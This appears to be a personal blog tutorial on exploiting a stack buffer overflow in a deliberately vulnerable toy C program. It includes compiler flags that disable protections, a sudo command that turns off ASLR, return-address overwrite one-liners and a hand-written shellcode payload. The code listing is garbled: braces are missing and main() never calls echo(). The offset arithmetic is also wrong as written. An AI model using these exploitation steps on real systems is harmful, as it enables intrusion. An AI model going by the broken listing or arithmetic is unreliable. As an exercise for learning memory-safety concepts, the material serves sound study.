Buffer Overflow

I remember I've tried hard when I was younger to create a super easy example of a buffer overflow. I read about it and understood the mechanism, but never accomplished writing a real program which demonstrates the effect.

That thought crossed my mind today and I realized I should be able to do it today with a little more experience.

In addition, I found this wonderful article about it:

So, I will basically repeat the steps in the article and build my first own buffer overflow program.

1. The program

#include <stdio.h>

void secretFunction()
    printf("You have entered in the secret function!\n");

void echo()
    char buffer[20];

    printf("Enter some text:\n");
    scanf("%s", buffer);
    printf("You entered: %s\n", buffer);    

int main()

    return 0;

As you can see, the buffer size remains unchecked and a user can enter more than the expected 20 characters. This leads to write into parts of the memory the program is not supposed to write.

We will overwrite the RETURN address of the echo() function, in order to call the secretFunction() instead of returning to main(). The address is stored in the stack. We need to find the right location and overwrite it.

2. Compilation

We need to set special compiler flags to disable any security checks. It is great the compilers today have that built-in checks, but disabling them makes it easier to grasp the concepts and maybe understand why those checks have been added over time.

gcc -m32 -fno-stack-protector -no-pie -zexecstack buffer-overflow.c -o buffer-overflow

Run this to disable ASLR (see below):

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

I've used gcc 11.1.0 in this example.

3. Running and crashing the program

This works fine:

$ ./buffer-overflow 
Enter some text:
You entered: Test

A text more than 20 characters crashes the program, as expected:

$ ./buffer-overflow
Enter some text:
fish: Job 1, './buffer-overflow' terminated by signal SIGSEGV (Adressbereichsfehler)

$ echo $status

Note: It still manages to output the text, before crashing.

4. Evan's Debugger

I used to play hundreds of hours with OllyDbg, a debugger for Windows.

During my research and having gdb in mind I thought there might be something similar to OllyDbg for Linux. And indeed there is: https://github.com/eteran/edb-debugger

I've installed it from here, but I needed to change the plugin directory manually after the installation (Preferences -> Directories -> Plugin Directory: /usr/lib/edb).


5. Finding the right address

We don't just want to crash our program, we want to execute the secretFunction(). In order to do that, we need to know it's address.

We can either do it in edb (CTRL+ALT+S):


or via gdb:

$ gdb -batch -ex "info functions" -ex quit ./buffer-overflow
All defined functions:

Non-debugging symbols:
0x08049000  _init
0x08049040  printf@plt
0x08049050  puts@plt
0x08049060  __libc_start_main@plt
0x08049070  __isoc99_scanf@plt
0x08049080  _start
0x080490c0  _dl_relocate_static_pie
0x080490d0  __x86.get_pc_thunk.bx
0x080490e0  deregister_tm_clones
0x08049120  register_tm_clones
0x08049160  __do_global_dtors_aux
0x08049190  frame_dummy
0x08049196  secretFunction
0x080491d2  echo
0x08049228  main
0x08049244  __x86.get_pc_thunk.ax
0x08049250  __libc_csu_init
0x080492c0  __libc_csu_fini
0x080492c5  __x86.get_pc_thunk.bp
0x080492cc  _fini

6. The payload

Now, we need to know where exactly to put the address in our input text. See the screenshot for details:


Our variable buffer starts at ffff:ce1c (marked in blue) in this case. The return address to the main function is stored at ffff:ce3c (marked in green).

If we manage to write the address of our secret function (0x08049196) into the return address value, our secret function will be called, instead of returning to the main function. Note: I suppose to work on a little-endian machine. If you work on a big-endian machine, you need to change the byte order of DWORDs and WORDs.

0xce3c - 0xce3c = 0x20, which is 32 in decimal. We need to write 32 bytes (any bytes) followed by 0x08049196 into the buffer variable, and we should reach our goal: (See here why we can't use print())

$ python -c 'import sys; sys.stdout.buffer.write(b"a"*32 + b"\x96\x91\x04\x08")' | ./buffer-overflow 
Enter some text:
You entered: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa��
You have entered in the secret function!
fish: Process 17504, './buffer-overflow' from job 1, 'python -c 'import sys; sys.stdo…' terminated by signal SIGSEGV (Adressbereichsfehler)

Voilà. Now, the program still crashes, but our secret function was called before!

Next challenge could be to build a payload which contains and executes own code, instead of executing code which already exists in the binary.

7. Executing own code

If we replace the RETURN address with the beginning of the buffer variable ffff:ce1c, the input we entered will be treated as binary instructions and is executed:

python -c 'import sys; sys.stdout.buffer.write(b"a"*32 + b"\x1c\xce\xff\xff")' | ./buffer-overflow

This fails with SIGILL, Illegal instruction. This is expected, as our aaaaaa.. test string is not valid machine code.

To generate it, we can use yasm for example.

8. Creating the code payload

BUFFER_ADDRESS EQU 0xffffce1c ; The address of the buffer variable in memory

MOV eax, message
MOV BYTE [eax+2], dl ; Write null byte at end of sample string. dl happens to be zero here
MOV esp, BUFFER_ADDRESS ; Move stack pointer to free memory
PUSH eax
CALL 0x08049050 ; buffer-overflow!puts@plt
MOV ebp, BUFFER_ADDRESS + 0x2c ; restore original EBP
JMP 0x0804923d ; buffer-overflow!main
message: db "XX",0xff
yasm --arch=x86 --machine=x86 --objfile=payload.bin payload.asm

For disassembly, I found objdump useful:

objdump --disassemble-all --disassembler-options=intel,i386 --target=binary --architecture i386 payload.bin

The EBP got overwritten by the too long input. It was stored on the stack, and the leave instruction tried to restore it. In order to not crash the program, we need to restore it. That is what MOV EBP, BUFFER_ADDRESS + 0x2c does.

JMP 0x0804923d returns to the original main function.

First note: Our payload must not maintain any characters which would stop scanf() from reading the input. 0x00, 0x0a, 0x20 are all forbidden. That's why we first have the 0xff character after XX, and only the payload writes a 0x00 at the end of the string during runtime.

Second note: The payload length must be exactly 36 bytes. Or at least we need to make sure the RETURN address is written to offset 0x20.

With that payload, the program prints an additional line "XX" and then quits without crashing!

$ cat payload.bin | ./buffer-overflow
Enter some text:
You entered: �9����P����P�!�H����XX����

$ echo $status

9. Security

In the real-world we would need to bypass all of those measures.

To check which measures are enabled, you can use checksec:

$ checksec --file=./buffer-overflow
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   50) Symbols	  No	0		1		./buffer-overflow